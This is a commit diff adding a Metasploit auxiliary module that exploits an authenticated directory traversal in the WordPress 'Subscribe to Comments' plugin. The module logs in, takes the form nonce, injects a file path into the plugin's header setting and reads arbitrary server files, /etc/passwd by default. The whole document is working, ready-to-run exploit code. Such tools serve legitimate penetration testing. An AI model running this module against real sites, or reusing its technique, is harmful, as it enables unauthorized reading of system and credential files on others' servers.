Land rapid7#5806, WordPress Subscribe Comments File Read Vuln

Author: wchen-r7

modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb

@@ -0,0 +1,172 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Report
+  include Msf::HTTP::Wordpress
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'WordPress Subscribe Comments File Read Vulnerability',
+      'Description'    => %q{
+        This module exploits an authenticated directory traversal vulnerability
+        in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing
+        to read arbitrary files with the web server privileges.
+      },
+      'References'     =>
+        [
+          ['WPVDB', '8102'],
+          ['URL', 'http://packetstormsecurity.com/files/132694/'],
+          ['URL', 'https://security.dxw.com/advisories/admin-only-local-file-inclusion-and-arbitrary-code-execution-in-subscribe-to-comments-2-1-2/']
+        ],
+      'Author'         =>
+        [
+          'Tom Adams <security[at]dxw.com>', # Vulnerability Discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('WP_USER', [true, 'A valid username', nil]),
+        OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
+        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
+      ], self.class)
+  end
+
+  def user
+    datastore['WP_USER']
+  end
+
+  def password
+    datastore['WP_PASS']
+  end
+
+  def check
+    check_plugin_version_from_readme('subscribe-to-comments', '2.3')
+  end
+
+  def get_nonce(cookie)
+    res = send_request_cgi(
+      'uri'    => normalize_uri(wordpress_url_backend, 'options-general.php'),
+      'method' => 'GET',
+      'vars_get'  => {
+        'page'    => 'stc-options'
+      },
+      'cookie' => cookie
+    )
+
+    if res && res.redirect? && res.redirection
+      location = res.redirection
+      print_status("#{peer} - Following redirect to #{location}")
+      res = send_request_cgi(
+        'uri'    => location,
+        'method' => 'GET',
+        'cookie' => cookie
+      )
+    end
+
+    if res && res.body && res.body =~ /id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)" /
+      return Regexp.last_match[1]
+    end
+    nil
+  end
+
+  def down_file(cookie, nonce)
+    filename = datastore['FILEPATH']
+    filename = filename[1, filename.length] if filename =~ %r{/^///}
+
+    res = send_request_cgi(
+      'method'    => 'POST',
+      'uri'       => normalize_uri(wordpress_url_backend, 'options-general.php'),
+      'vars_get'  => {
+        'page'    => 'stc-options'
+      },
+      'vars_post' => {
+        'sg_subscribe_settings[name]' => '',
+        'sg_subscribe_settings[email]' => '',
+        'sg_subscribe_settings[clear_both]' => 'clear_both',
+        'sg_subscribe_settings[not_subscribed_text]' => 'teste',
+        'sg_subscribe_settings[subscribed_text]' => 'teste',
+        'sg_subscribe_settings[author_text]' => '',
+        'sg_subscribe_settings[use_custom_style]' => 'use_custom_style',
+        'sg_subscribe_settings[header]' => "#{filename}",
+        'sg_subscribe_settings[sidebar]' => '',
+        'sg_subscribe_settings[footer]' => '',
+        'sg_subscribe_settings[before_manager]' => '',
+        'sg_subscribe_settings[after_manager]' => '',
+        'sg_subscribe_settings_submit' => 'Update Options',
+        '_wpnonce' => "#{nonce}",
+        '_wp_http_referer' => '/wp-admin/options-general.php?page=stc-options'
+      },
+      'cookie'    => cookie
+    )
+
+    if res && res.code == 200 && res.body.include?("<p><strong>Options saved.</strong>")
+      return res.body
+    end
+    nil
+  end
+
+  def run_host(ip)
+    vprint_status("#{peer} - Trying to login as: #{user}")
+    cookie = wordpress_login(user, password)
+    if cookie.nil?
+      print_error("#{peer} - Unable to login as: #{user}")
+      return
+    end
+
+    vprint_status("#{peer} - Trying to get nonce...")
+    nonce = get_nonce(cookie)
+    if nonce.nil?
+      print_error("#{peer} - Can not get nonce after login")
+      return
+    end
+    vprint_status("#{peer} - Got nonce: #{nonce}")
+
+    vprint_status("#{peer} - Trying to download filepath.")
+    file_path = down_file(cookie, nonce)
+    if file_path.nil?
+      print_error("#{peer} - Error downloading filepath.")
+      return
+    end
+
+    res = send_request_cgi(
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path),
+      'vars_get'  => {
+        'wp-subscription-manager' => '1'
+      },
+      'cookie'    => cookie
+    )
+
+    if res && res.code == 200 &&
+        res.body.length > 830 &&
+        res.body.include?(">Find Subscriptions</") &&
+        res.headers['Content-Length'].to_i > 830
+
+      res_clean = res.body.gsub(/\t/, '').gsub(/\r\n/, '').gsub(/<.*$/, "")
+
+      vprint_line("\n#{res_clean}")
+      fname = datastore['FILEPATH']
+      path = store_loot(
+        'subscribecomments.traversal',
+        'text/plain',
+        ip,
+        res_clean,
+        fname
+      )
+
+      print_good("#{peer} - File saved in: #{path}")
+    else
+      print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.")
+    end
+  end
+end